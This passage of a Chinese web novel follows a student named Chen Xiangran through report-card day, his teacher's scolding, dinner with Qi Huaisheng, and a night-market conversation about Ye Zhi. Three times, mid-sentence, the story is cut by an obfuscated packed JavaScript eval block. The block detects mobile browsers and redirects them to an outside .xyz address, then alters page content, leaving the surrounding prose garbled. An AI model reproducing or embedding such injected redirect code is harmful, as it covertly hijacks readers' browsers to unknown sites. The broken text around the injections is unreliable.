堂表亲之间，齐怀生从不以兄姐相称。像齐越杰这样，满脸似是瞧不起人的模样，齐怀生更不愿让他一头。 尽管他们之间足足差了十几岁。 “没别的意思。”齐越杰摸着一圈扎手的小胡子，“学总得上。不然将来，投简历的资格都没。” “各有各的活法，钱你自己娶媳妇儿用。” “这是最近的奖金。”齐越杰把卡拍在桌上，微卷的棕黑色头发从肩上滑下一撮，“一半用来请你未来嫂子吃饭了，江洲大酒楼。” 齐怀生依旧望着外面的天。 他徐徐抽了两口烟，细细品了品齐越杰的话，进屋碾了烟头。 顺带拿走了银行卡。 陈向然的艺考培训比开学更早，齐怀生决定在培训当天同他回石川。 日出东方时出发，一路高山、繁花，渡海又见朝阳，下船来到熟悉的石川县中心城区，再坐一趟公交，在齐怀生家门口分别。 头顶的云隐隐地沉下来。一个暑假，像是做了场梦。 齐怀生把他牵进了一场名为童年的梦。这个梦是真实的，海堤湿凉的石头，粗糙的船舷，嘎吱舞动的木偶，和夏日里绿荫如盖的老巨榕。一些风、水、瓦、树的触感还残留在掌心。 还有那些挑动他心弦的苦难。只是这样看着齐怀生的背影经过光域、入阴影、往家的方向去，他的胸口就一阵发紧。 他独自去车站乘车，路过学校，在那个庄严的大门前停了下来。 不是开学日，然而大门敞开，人来人往三五成群。山壁上“信海中学”几个龙飞凤舞的大字，被这几月的风雨浇得红漆鲜亮。象牙塔的压抑感逐渐将暑假的回忆侵蚀殆尽。 站在这个地方，他才忽地想起自己一气之下错过的期末考。如果不是经过学校，看到这里络绎往来的人流，他早忘了今天是领成绩的日子。 拿成绩，就意味着新学期开始。竞争的氛围一来，谁也挡不住，谁也停不下来。稍一松垮，或许就是人生命运的拐弯。 陈向然站在校门拐角，探出去的脚尖缩回来，后背撞上了人。 他猛一回头，是齐怀生。 “你怎么在这？”说好各走各路，这人不知什么时候骑着小电驴就追来了。 “路远，送你去林峰站。”他嘴里这么说着，眼睛已经看见校门口熙熙攘攘的场景了，有学生，有中年人，“原来你们这么早开学么？” “还没，领成绩，开家长会。”陈向然心下冰凉，只勉强咧了个苦笑，“跟开学也差不多了。” 齐怀生看了他好一会，一只手伸过来，掐住他的脸：“别摆这种表情，不开心就上我家。领完成绩出来，我在这等你。” 陈向然摸摸被掐的地方，发烫的触感蔓延到整张脸，快烧起来。 他几乎是低着头进学校的。 海中校园人生喧哗。学生背着书包奔跑，家长三五围作小圈，一会儿吹嘘、一会儿恭维，心里暗暗对比。都是上年纪的社会人，陈向然看不出这帮父母在聊天中是窃喜，还是失望。 人群中，林岚也在。 他倏地闪身躲到树后，隔着一张圆石桌的距离，探出耳朵和视线——林岚今天穿了一身纱裙，黑白交错，线纹扭曲。头发是刚烫染的大波浪，一双大耳环晃晃悠悠。 记忆里林岚不精于打扮，陈向然看着那离婚后才涂满红色的十指，和上挑的眉线、眼线，这么多年了，他仍对这样“艳丽”的林岚感到陌生，不可接近。 她身边有个微胖的短发女人，陈向然在上一次家长会见过，是刘永凡的母亲。 “我是根本没收到信息啊。”林岚脸上挂笑，高跟鞋却重重跺了一脚，“去营业厅看过，手机卡没问题呀。愁死我了。” “别急，向然妈妈。肯定是学校那边差错。我家那个啊……”刘母声量骤降，像是在说什么见不得人的事，“缺一天考呢。” “啊？”林岚掩嘴惊叹，跟着小声道，“怎么缺考了？” “嗐，生病嘛。这次就只能去最差的班了，你说气不气人。” “那太可惜了啊，永凡那么优秀。不过生病了嘛，”林岚拍拍刘母，让她消气，“就别给孩子太大压力了。” “不不不，我跟他说了，这人，就要学会坚持，考一半还给我晕倒了。物理都没写完呢。” “物理是永凡的优势，确实太可惜了。”林岚听上去是真的替对方可惜。也或许是想象了一下同样的事发生在儿子身上，她也能理解对方的母亲。 “没信息也没关系的。等会开完，你去他们教室门口找找，贴名单了的。知道是哪个班，就行了嘛。” “嗐，你看我这脑子，”林岚一拍脑门，“多谢提醒啊。有空再聚！” 海中向来飞速，出成绩的同时也分好了班。今天新高二分班家长会。家长们先在礼堂开完年级会，再到高二楼的新教室里开班级会。 早在上学期便填过了分班志愿。陈向然仍旧保持听话，像林岚预先计划的那样勾选了理。 二十二个班只有六个文科班，理科班从一班到十六班，按照上学期期末的排名往下分。陈向然缺考了，于是依然在十六班，依然被安排在原教室对应的座位上。 他藏在人流里里尾随林岚。他不知道自己是怀着怎样一种心情跟到这里，反叛的快感和心虚交织在一起。他在期待林岚的反应。 林岚带着某种骄傲的神情，像十分有信心一般，从一班开始找，一直找到三班，脸上的得意渐渐扭转成疑惑，再变成难以置信。她怀疑是方才看漏了，又跑回楼下，从一班开始找。 再次到三班，她眉心都拧成了核桃，也许儿子发挥得并不太好。于是接着往四班、五班……直到十班，脸色终于从阴云密布变成奔雷滚滚。 最终她认命一般，找到了十六班。 三伏天的尾巴，太阳毒辣地炙烤大地，水泥路面泛起一层晃眼的金光。教学楼高处热浪滚滚，空气蒸腾扭曲。陈向然看到林岚脖子根都憋红了，面子彻底剥光，迟迟不敢进去。直到新的班主任走出来，问道，是不是陈向然的家长。 她麻木地点头，进了教室，还坐在某一排靠窗边的座位上。身旁是刘永凡的妈妈。 前后不过十多分钟，旧人相见，分外懊恼。 “怎么回事呀？”刘母悄悄地问。 “这得问他了。” 林岚行走职场多年，只有这种时候有些失了风度。翻遍他的桌肚、书箱，连书都一本一本抖搂了一遍，翻得一片混乱，确认他没有任何学习之外的东西——尤其是画具——之后，才皱着眉望向讲台。 新班主任是个女老师，身量不高，黑黑瘦瘦，板着张脸，在说一些鼓励后进生的话语，林岚一个字也没听进去。 从十六班的教室窗口，可以望见男生宿舍飘荡的衣物。 窗外枯枝叶落，于天地间飞旋，飘飘摇摇落在教学楼广场——陈向然的发鬓边。 “领完成绩了？”电话那头，齐怀生问他。 他抬头望着十六班那层楼：“我……没有成绩。” “怎么没有？” “缺考……”他声音几不可闻。 先前说了谎，他等着齐怀生像训他吃药一样对他说教，但对方只是沉默了一会，说：“都生病了，缺就缺了。反正不是高考。” 陈向然揪紧胸前的校服。 “艺考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301967|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 培训呢？”那头说。 他躲在石柱的阴影里，微微抬头。几只鸟儿停留树梢叽喳鸣叫，黑溜溜的眼睛四处瞄视。 “今天上不了了。”他说，“陆老师打了电话，我没接上。” “正好，你帮我想想，女孩子都喜欢什么礼物？宠物除外。” “诶？” “听说喜欢你的女生不少。” “可我也没送过礼物啊。”陈向然转了圈心思，声音都沉下来，“这个问题，不应该问申恺么……” 一时间，电话里只剩风声。齐怀生叹一口气，像是特意想好措辞，才说：“他喜欢给一些……比较奢侈的建议吧。” 他搬出这种牵强的理由，陈向然很容易看穿，但人总是喜欢回避府贵家贫的问题，不好反驳、或是质疑他。 齐怀生当然也明白这点，于是刻意这么说了。 “女孩子啊……”陈向然想了想，脑海里浮现出叶知的身影。 教室的角落，纱帘轻拂课桌。叶知就坐在那里，眼是深邃的、静谧的黑，皮肤苍白，轮廓瘦弱。她低着头，手边一本摊开的汪曾祺短篇集，青白色的薄薄的阳光落在她骨骼突出的手腕上。 “书，可以吗？” “书啊……”齐怀生沉吟片刻，“你给推荐几本呗。” “这还要我推荐？” “我不太读课外书。”齐怀生窘迫道，“作文只能及格。我哪知道买什么好。” “那就……中国美术史及作品鉴赏？” “有没有正常点的？” 话到这份上彻底聊死。 他压根没好好思考礼物送什么，他在想送给谁。 “看上哪个妞了？”他故意用小混混惯有的口气道，“上次那个珊珊吧？被申恺骗了感情后转而喜欢上你这款了。” “哈？我他妈能看上谁？她看上我关我什么事？”听声音，齐怀生大约是踢飞了路边一个易拉罐，气急败坏，就差隔着电话给他一记板栗，“算了。”他说，“是叶知生日，到时我和齐越杰要去参加生日宴。我不想让申恺知道，省得他歪心思。” 生日宴？ 此时，某个楼层掀起议论声，有人匆匆离开教室，似乎是十六班所在的楼层。 陈向然想，这生日宴，想来也是他们姨妈要给办的。只是他仍感到怪异，姨父在家里该是很有话语权的，生日宴请人、花钱、又费精力的事，他怎么会同意的。 “是叶知，干嘛不直接说？” 齐怀生不知又在那头别扭什么，半天才说：“其实吧……叶知非要请你去生日宴……” “可以呀。”陈向然答应得很快，紧接着反应过来：“那你还不告诉我？” “你对她什么感觉？” “……一般同学罢了。” “那你别送礼，给她遐想。” 这句话足够了，不必再多说。 一声下课铃，陈向然赶忙挂了电话，藏起手机。 家长会结束了，然而家长还未散场。每个教室门口都集聚了一群人，老师们被团团围住，淹没在家长们滔滔不绝的问题里。什么高二的课程是不是更难，有没有比较好的学习方法，家里孩子数学不好怎么办，是否一定要预习等等。 他仰头望着热热闹闹的教学楼。 林岚和他、和老师沟通那样频繁，实际上也只是把同样的东西反复念叨罢了。有没有好好学习，有没有偷着画画，表现怎么样，仅此而已。 她不会知道课程的困难在哪里，需要什么帮助，不知道他学到什么程度，更不知道什么学习方法适合他。 但她会像盯着股市K线图一样，盯着分数高高低低。高了，便不停向他人宣传；低了，便电话鞭策，山高水远地想把他雕刻成想象中“好”的样子。 教学楼有如百鸟喧啼，他的目光掠过教学楼每个角落，最后停留在教室所在的楼层。 林岚并不在人群中。 49. 回笼 回到教室，家长会已结束了一个小时。 他别来无恙的老同桌正在座位上黑着脸，脸上一块模糊的红印，一道极细的、凝固的血痕从耳边裂到鼻翼。陈向然不是第一次看到类似的伤痕。红色的新伤和粉色的旧疤混在一起。似是一只指尖生茧的手留下的耳光。 刘永凡笔尖唰唰地做题、翻页、划线审题，全是语文，桌上堆积了好几张做完的卷子，除了作文，通通写满了长长的答案。陈向然粗略算算卷子的题量，他刷了几个小时完全没有停过。 简直疯了。陈向然摇头。 他坐下，书包塞进桌肚。这一塞，手肘曲动，碰到刘永凡的课桌。课桌轻微一震，刘永凡一笔涂在刚写完的答案上，笔尖停滞， “啪”地把笔摔桌上，瞪着他。惹来四周一圈视线。 陈向然不动怒，心里只有深深的疲惫。 “怎么？”陈向然也看向他。 刘永凡扶了扶眼镜，好像在借这个动作压抑情绪：“没什么。” “脸。”陈向然伸手指了指，抽出张纸巾，“擦一擦吧。” 刘永凡懵愣着摸了一下脸，指腹留下一道弧状的、刺眼的深红。他眼微微一瞪，感到羞耻一般，一咬牙，夺过纸巾，往伤口上一摁。 摁重了，伤口裂开，血透过纸巾渗出颜色来。 过了很久，他才意识到什么：“你怎么……” “缺考。”陈向然坦荡荡地说，“你呢？”他朝那堆血红努努嘴，“因为缺考？” “不是。”刘永凡捂紧了伤口，“语文没进步。” “也没退步吧？”陈向然看着投影屏上调出来的表格，“看到了，还进了两分。” “两分不叫进步，叫原地踏步。”他叹了口气，笑了，写题的速度也慢下来。陈向然和他同桌一年，从没见过他这样笑，带着苦涩，甚至有一丝自嘲。“我妈说的。”他这么说。 陈向然透过窗帘的间隙，看向窗外的天。 八月，黄昏时分仍有这样浑厚的、深红的天色，层层叠叠，卷裹翻滚，仿若一场滔天大火，将白日吞噬。 红色的血，红色的分数，红色的云霞。 瑰红的天色预示着风雨。 程希那棵交际草，四处窜班，从十班窜到了十六班。按照他的说法，他是来供两尊下凡的神仙。陈向然从窗口看去，他家黑色私家车还停在校门口——这个人匆匆忙忙赶了一节艺考课，下颌还沾着没洗干净的油彩。 “今天练了油画？”他问道。 “啊，嗯。”程希和刘永凡聊得正愉快，倏然收了点笑，轻云般从眼角掠他一眼。不算冷淡，却也不那么热情，“向然，暑假在干嘛呢？” 叫的向然，不是“然哥”。 他打眼一看，教室里都是差不多的话题。一个长假结束，一些人会在聊天中若有若无地刺探情况。是不是做了多余的题，挤了多少时间在学习。回答无非是，写不了多久就被游戏吸引啦，拖延症，最后一天才赶的作业，诸如此类云云。 铃声一响，家长自觉从楼里散了，像猎.枪惊飞了鸟雀群。今天开放日，他们可以在学校随意散步，等着试卷发完接孩子回家。 林岚不在，她从中午便不在了。 走廊空了，新班主任还远在楼层尽头。整条走廊都能听到她恨天高叩响地板的声音，由远而近。试卷和她的衣物摩擦，随着走动沙沙地响。 仿佛生死倒计时一般。 她夹着上学期末的卷子走进来，教棍在讲台上用力一拍。 集体肃静。 “每组第一排的同学，上来发试卷和答题卡。” 发卷的人满场走动，一张张递到课桌上。有熟悉的老面孔经过，陈向然朝那双别致的丹凤眼看去。这双眼睛天生凶相，总像是仇视着谁一般。 那是张依萌。她笔直地目视前方，抬头挺胸，匆匆而过。 印象中她的成绩总体中游，只是出奇地不稳定。高一入学不久，逢人就炫耀自己的男朋友是十四班的谁谁，闹得人尽皆知。后来只要看她的成绩，就知道她是不是又和男朋友吵架了。 “这次语文年级第一还在咱们班。”班主任一言，全班洗耳期待，“叶知同学是哪位啊？总分也是咱们班第一。” 一教室头颅攒动，看到一只怯怯举起的手。离她近的，那手上的经络青白可见。陈向然每次见她，都觉得她似乎比以前更瘦了。 问过齐怀生。齐怀生说她小时候微胖，现在大姑娘了，许是知道减肥了。 “也不能这么瘦，身体不好。”他说，“陈向然，你替我说说她。” “你自己不说嘛？” “说过了，不听。也许会听你的。” 都是许久之前的事了。 陈向然一直看着张依萌走到第四排，一百四十三分的试卷重重甩在她面前。 这种有意无意的挤兑、孤立，旁人往往不会注意到。像一道隐形的枷锁，禁锢住那个安静的、瘦弱的姑娘。 同班一年，陈向然不止一次听见她对叶知冷语相向。偏偏她的男朋友欣赏叶知，以至于见到叶知时，这个女孩总冒着一股让人退却的气息。 叶知像是习惯了，从来不挣扎，仿佛看不到、听不到一样，她永远是郁郁寡欢，像个游于世外的仙。纵使生日宴快到了，语文也是年级第一，脸上仍旧看不出兴致。只有和陈向然聊起艺术时，眼神才有那么点温度。 她摸着试卷上的字迹。发现裂了边，默默地撕了一段胶带，一扯，扯不断，用小刀割断了。 陈向然一瞥眼，那刀刃在黄昏的天光下，隐现着一丝暗红色。 叶知粘好试卷的裂边，躲避似的低下头，谁也不看。吴自兴与她相隔一条过道，对她露出不屑一顾的表情。 他也偏科，偏英语。因为家里有个外国籍的爹，从小在英语环境下长大。分到了十六班，他不以为耻，倒是引以为荣，说话还要不时冒出几个英语单词，以彰显他年级前几名的地位。 刘永凡看到试卷，不自主地摸着脸上火辣辣的伤，好像警钟一样，闪烁着痛感。 他摊开笔记本，倾斜着立起，仿佛还趁着发卷的间隙复习错题集。哪知他幽幽转过头来，身后窗帘拂过陈向然的桌面。 斜阳幽幽入室，映入刘永凡的瞳孔。 “新学期，你最好遵守点纪律。” 恍然之间，陈向然不知怎的，邪门的预感堵满了胸口：“怎么了？” “别再溜出学校了。” “学校早就不让出校了。” “但你可以，对吧？” 狂风入室。 窗帘高扬，影子在苍白的教室里波涌。题册哗啦啦一页又一页翻飞。陈向然猛地按住题册，弄皱了几页纸，上面的红墨水还没干，沾在手上，红殷殷的。 像血。 “我怎么就可以？”他故作轻松地笑笑。 “潘千慧告诉我，风自委盯上你了。” 潘千慧在委员会就像是各位普罗大众的间谍密探，爱关注风向，热心是出了名的。她凡事喜欢尝试，却不爱争，也不爱学习，尤其讨厌背诵，文科永远进不了前一百。最后凭着一股聪明劲分去了理重点。 “怎么盯上？” “有人告密，但没证据。新会长说不能无根据地找你谈话。但是她，”刘永凡把眼镜往上推推，瞥了瞥正在写板书的新班主任，“最在意纪律的东西了，老师可比委员会有用，明白？” 班主任这时放下粉笔，拍了拍手上的白灰，开始自我介绍。 “我叫杨姗，”黑板上留下了她的名字，标准的楷书——写完在右下角郑重地顿画了一个白点，“华师大毕业五年，去年刚到海中教书，目前还不熟悉这里的教学方式……” “如果你撒谎不认，”刘永凡的声音在耳边沙响，“处罚会更重的，这个你也懂吧。” 他说完放下了遮挡的笔记本，姿态端正面向讲台，一字不落地开始抄写板书。 陈向然不知道他是出于好意，还是别的。犹豫着点了头。而后拿起笔，在标了零蛋的卷子上，写下选词题的答案。 试卷发完了，他被杨姗留了下来。 残阳倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301968|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洒，橘红的天衬于灰黑的教学楼之后，使得这座石头砌筑的建筑更加冰冷、肃穆。楼顶飞鸟成群结队，自南向北，向天边绚烂的红霞而去。 陈向然站在走廊，夏末的晚风仍旧闷重。杨姗朝他走来时，脚步声被回音拉长了，扭曲了。眼前的事物在他眼里被拉得细长，他想象着那阴影里闪烁的，是毒蛇的信子。 杨姗推着那幅反光的黄框眼镜，脸被斜阳和柱子的阴影明暗分割：“你缺考的事，刚刚家长会我已经说过了。这个问题我希望你好好反省一下。” 陈向然辩解：“我请过假的。” “这不是理由。”杨姗扬了扬手里的成绩表，“什么事情能重要过考试？” “老师他是病假。生病缺考的。” 潘千慧甩着身后长长的蓬松的辫子，哼着小曲从他们身边经过。 陈向然一时间十分感谢她，可杨姗的威慑不减反增：“陈向然同学，话不是这么说的。看你同桌，生病照样考试，那才是年级前几名该有的样子。高考前，少考一场，就少一次训练。你这样的学习态度，到时连个C9都上不了，你想像班里其他人一样吗……” 她滔滔不绝，话里话外还要贬低自己的学生几句。陈向然听得不舒服，熟悉的细长的幻听声几乎要和杨姗的训话声交缠在一起。 他不争辩了。少争辩一句，谈话或许会早一分钟结束。 看他眼神低垂，杨姗便玩笑似的说：“不是老师要找你麻烦，到时我们班有没有清北，可全靠你们两个人的。明白不？” 人都喜欢把真心藏在玩笑里。几个清北、一本率多少，事关她到时候的奖金，以及评职称的依据。 “你妈妈呢？家长不重视可不行啊，会开一半就走了。” 陈向然面上唇缝微张，心里在暗笑。连他都找不着林岚，杨姗又怎么找得到她呢？ 齐怀生先回家了，给他留了走廊灯。 黑夜里，整栋楼只有这一户，防盗门和红对联被煞白的灯光照亮。 齐怀生穿着围裙给他迎门。门一开，一屋子饭菜香气扑了满脸。餐桌上雾气蒙蒙，厨房的油烟机还在呜呜地响。 “时间刚好。”他说的是做饭的时间，“洗手吃饭。” 放学、回家、灯火、晚饭、围裙，他总是会把这些东西和以前的家联系起来。 阿送像个猛兽一样咬齐怀生的裤管，袜子都被它爪子扒拉坏了。一见到陈向然在门边蹲着换鞋，这大爷“喵呜”一声跃进他怀里，乖乖端坐，仿若一个上早朝的老皇帝。 陈向然抱着它进屋：“齐怀生，你跟它又怎么了？” 齐怀生瞟了他一眼：“噢，我喝牛奶，它闻着味儿了，闹着要喝。”他关了油烟机，摘下围裙，拿了两个碗添饭。 “那你给它呗。” “给什么，猫不能喝牛奶。再说猫粮都没吃完，尽浪费。” “可它不愿吃，老是叫。”陈向然抚摸它柔软的耳朵。 “饿两顿就不叫了。” “……” 陈向然叹了口气。 阿送从他怀里跃下，钻到红木椅下“喵喵”控诉。椅子边的食盆还是满的，都是齐怀生给它买的糙粮。 下次给它带点猫专用的奶吧。陈向然想到。 齐怀生拿了个大勺给他添汤。 热乎乎的莲藕汤滚落在碗里，漂浮些许肉碎、芫荽、猪骨髓，碗沿粘着莲藕丝，乱糟糟的，扮相不好，香味却让人抵御不了。陈向然尝了一口，咸淡刚好，油花一圈圈散开去，鲜香四溢。桌上有蒜蓉青菜、煎豆腐，还有蒸鲱鲤——用少量梅子和姜丝做的调料。 佳肴美味，但他只喝了两口汤，吃了一口饭。嚼了十来秒没吞下去。 “咋了？”齐怀生手肘碰了碰他，“缺考被骂了？” 考试、纪律、家长会、挨训…… 一切和“攀比”、“规整”有关的事物向他蜂拥而来时，他的胸口仿佛被暗箭贯穿。梦里那个囚笼没有走远，无论他在何处，它似乎永远长在他身上。 像强光下的影子，漆黑而不可脱逃。 50. 血纹 齐怀生的脸离他极近。这人似乎总是无意识地靠近他。 蓬松的半长发，狭长严肃的琥珀眼，瘦削的下巴——那下巴还在动。陈向然浅浅地呼吸，都能闻到他咀嚼的豆腐味儿。 “抱歉。”声音又沉又哑，好像难受的是他一样。 陈向然没懂：“什么？” “刚刚应该载你去艺考课，反正你都缺考了，领什么成绩。”他面对餐桌，扒了两口饭，“真不应该跟你废话太多。” 齐怀生悠悠的道歉像一片轻柔的羽毛包裹住他的心脏。 “别这么说。”陈向然揪一下他的衣角，“我喜欢你跟我废话。” 齐怀生刚夹起的排骨“咕咚”落回汤里。 陈向然伸出筷子，把那块排骨重新夹到他饭堆上：“掉了。” 齐怀生失笑，重重地啃了一口排骨肉。看上去肉质并不是很鲜。 “不是因为艺考课，那是因为缺考？” “没什么。” “那就是猜对了。”齐怀生总是这么狡猾。 “我……该怎么说呢？”他脑海里浮现出杨姗那些将他逼到墙角的威吓，刘永凡的惊愕，还有……林岚站在教室门口，羞恼难堪连门都不愿进的模样。不知道什么时候起，他人一句言语，乃至一个眼神、一分脸色都能刺痛他。告诉他，自己有多糟糕、多么让人失望。 因为疾病么？他只隐隐地，对自己有所觉察。 他看齐怀生大口喝汤、大口吃菜的样子，面部绷紧的肌肉才渐渐松弛下来。 至少，他心想，至少他还能在齐怀生这里偷得片刻安宁。不需要迎合，或是担心辜负了谁的付出，像个永动机一样自我鞭策前进。 他只要静静地坐在这，夹菜、添汤，和齐怀生断断续续地聊着天。 一顿饭毕，端着锅碗到厨房洗刷。齐怀生在客厅和阿送大眼瞪小眼。他在泡沫和热气里洗个舒服的热水澡，和齐怀生互相把手伸进对方衣服里捉弄。 “起来，你好重。”陈向然笑着推他好几下。 齐怀生是打过架的，群架，一人挑好几个那种。轻而易举就把这个骨瘦嶙峋的少年控制在长椅上，揉抓他身上仅剩的一点软肉。 “开心点没？”齐怀生叠在他身上问道。 陈向然停止推他。 耳边嗡嗡的，有只苍蝇，在天花板的吊灯上盘旋。齐怀生不爱开灯，日光灯前些日子老化发黑，用不了，他才勉强拉了盏白炽灯。灯罩很红，昏黄的灯光在墙上映了一丝发红的光晕，有些昏醉，有些暧昧不清。 两人合而为一的巨大黑影拉扯到这面墙的尽头。 陈向然狡黠一笑：“不开心。”是实话。 “怎么不开心？” “开学后，就不能找你了。” “为什么？” “管风纪的盯上我了。”陈向然一偏头，看着阿送喵喵地走过来，伸手在它耳后摸挠，“叶知的生日我也不去了。” “为什么？她生日在开学前。” “你是不是……不想我去？” 齐怀生揉捏他的动作一顿，没有回答。 “我能知道为什么吗？”陈向然又问。 苍蝇嗡嗡向低处滑翔，绕着饭桌上遮盖剩菜的红色塑料罩飞舞。 屋里太安静了，以至于防盗门被砸得“砰砰”响时，两人都吓了一跳，齐齐看向门口。 陈向然下意识地以为齐卫平“查岗”来了。下一秒想到他平伯还在医院里呢。 “砰砰砰”，门又响了几声。 齐怀生从他身上下去，趿拉拖鞋去开门。 门口的走廊灯，陈向然进门时顺手关了——齐怀生不喜欢浪费电。于是这时候他坐在客厅里，看不到门口是谁，只看到齐怀生的后脑勺惊慌地一缩。 “你哪位？” “请问，叶知是住在这，对吗？” 门口大约有两人，说话的是男生，嗓音偏高，带点少爷的慵懒气息。陈向然感到在哪听过。 晚上八点，有人把叶知送到这来了。 齐怀生不答他话，把叶知拉进门，声音里满是警惕和敌视：“你是哪位？” “啊，我是她朋友。”男生说。 “什么朋友？叫什么名字？哪个学校的？” 齐怀生冲人竖起一身刺，声音沉下来，拿出浑身上下的压迫感，有步步紧逼的意味。 男生似乎是愣了一会，倏地话锋一转：“等会儿，我是不是在哪见过你？” 这话一出，陈向然终于知道是谁。 霎时没人接话，两个人在门口互相辨识着对方。不多会儿话也不说，齐怀生关上门和男生出去了。 只留下叶知，大夏天依旧攥着长袖，像看不见陈向然一样，坐在阿送的猫窝旁。 晚上八点，夜市一条街。 烧烤摊、夜宵铺子比傍晚时分都热闹、肮脏、狂欢、混乱。丢弃的菜根、面皮、塑料袋和沟渠渗出的污水搅混在一起，大排档门口的流浪歌者搬来劣质音响，吼了一曲《浪子的心情》。 声音很有特色，就是有点毁歌。齐怀生心里想着。趁陈向然不在，他暗搓搓抽了根烟，朝身边这个少爷气的家伙掀了一眼。 “孙临潼对吧？” “啊，是。”孙临潼一副鬼子进村的样。别人是乡下人进城，他是城里人下乡，看什么都新鲜。走着走着夸张地跳起来。齐怀生低头一看——他踩到一条被流浪猫咬过的腐烂的鱼，弯下腰心疼地看了好几眼球鞋——那双鞋是Jordan全球限量款，折合人民币好几万呢。 “哎，大哥，没想到你还是叶知亲哥啊。上回失敬啊，生哥的大名我还是听过的。”孙临潼拍拍胸脯，掏出油光锃亮的名牌钱包，拇指冲自己一指，“你想吃什么，我请哈。” 齐怀生用余光上下打量他。 看不清这人是好是孬。眼下无疑又多了一个人知道他和叶知兄妹关系的海中学生。还是个和叶知走得那么近的人。 “我请你。”齐怀生甩着一沓五块十块的现金，斜他一眼，“搞清楚，是我要感谢你，明白？” 孙临潼脖子一缩：“……哥，你这表情也不像要感谢我啊。” “想吃什么？” 小县城建筑缭乱交错，街道曲折，半里内密密麻麻开了二十来家店。红色四方伞印着可口可乐的广告，伞下亮个白炽灯泡，成排铺展在马路牙子上。宵夜、糖水、铁板烧、啤酒，加班的上班族、暴晒一天的工人、刚接孩子补习下课的家长…… 一股乱糟糟的烟火气息。 孙临潼看得眼花，没有一家店在他眼里称得上“干净”，于是嘟嘟囔囔的：“要不我们去景区门口那家，叫什么什么牛排……” “排”字没说整，他眼睛向下一滑。齐怀生顺着他的目光看下去…… 鞋破了，歪歪扭扭的，有点尴尬。 鞋是这个暑假磨旧的，质量不好，陪陈向然多走了些地方，鞋尖就开裂了。是陈向然用502胶给他粘的。一看就是没穿过旧鞋的主，手脚粗乱，给粘歪了。这人不好意思地咧了个假笑，说赔给他一双。 齐怀生无奈地弹他额头，拎过这双鞋尖微歪的帆布鞋，说：不了，就穿这双。 孙临潼什么也没说。 齐怀生请他吃烧烤。附近几家烧烤店都坐满了人，只好去移动车摊买。摊主是个老妇人，住在这附近，就齐怀生看到的，她几乎每天出来讨生活，就在这条积木一样错落的长街上，吆喝前行。 这地段说是乱，也有人管的。前阵子老人才被城管掀过一车，滚烫的油洒在地上，竹签、调料罐撒到路中央，小电驴接二连三从上面碾过。 那时是齐怀生给她收拾、带她回家。他低头看，老人腿上一小块烫伤的疤还在。 “后生仔呀，又见到了。”老妇人笑得脸皱起来，眼睛成了缝，弯成月牙儿。这口带方言味的普通话像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301969|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塘泽人，可发音又略有出入。 “阿婆，来四串牛腱子。”齐怀生扭头问，“你吃什么？” “嗯……”孙临潼看着车前悬挂的大菜牌，沉吟一会儿，“话说……你喜欢牛腱子啊？” “你吃什么？”齐怀生不想废话。 孙临潼没听见一样，响指一打：“我一朋友也爱吃，一吃吃一顿你晓得？他在我们学校啊，人缘儿特好。但就我和他这关系，没谁了……”他自顾自口若悬河，偶尔露出点微妙的北方腔调。 “你吃什么？”齐怀生幽幽重复。 孙临潼被打断了话。只瞟他一眼，话音渐渐弱下去，感到齐怀生整个人都在夏夜里冒冷气。 两人还是找了张桌，点了两罐啤酒。 孙临潼左一串右一串，颇有大马金刀的架势，吃上几口，啤酒一灌，滋滋的泡沫和烤串的香辣一直爽到胃里。 “吃够了？”齐怀生端啤酒的手微颤。 “饱了饱了。”孙临潼揉着肚子，打了个饱嗝。他面前摊着四五十只竹签，几乎要吃光店里剩下的存货，“这店脏是脏了点，是我迄今为止吃过的最好吃的。” 齐怀生手里捏着两张毛票。 “是你饿了吧。”齐怀生闷了口啤酒。 “可不是么。”孙临潼眼里露出一丝落寞，转瞬间，他哈哈大笑，“嗐，要不是我没回家吃晚饭，我也不会碰到叶知不是？女孩子家家，一个人走夜路多危险啊。” 他一把捏扁了易拉罐，伸手呼喊老板。 被齐怀生“啪”地握住小臂：“别点了。” 孙临潼不解：“哥，说好的请人，这才吃多少啊。”四五十支烧烤，还抵不上半块牛排的钱。 齐怀生攥紧两毛钱：“没现金了。” 孙临潼张望了一下，店里的确没有二维码。这个县城的一切都太老了，无法信任这个发展太快的时代。 “吃完了，就轮到我问你了。”齐怀生托起下巴。 “你就想知道，我怎么把叶知带回来的嘛。”他指向他们的来处，“就在下山路，去市区的那条，离学校不远，还能看见门呢。我出校门的时候，就看见她站在河边。旁边有人，我过去的时候，人就走了。太黑了完全看不清是谁。” 齐怀生：“然后呢？” 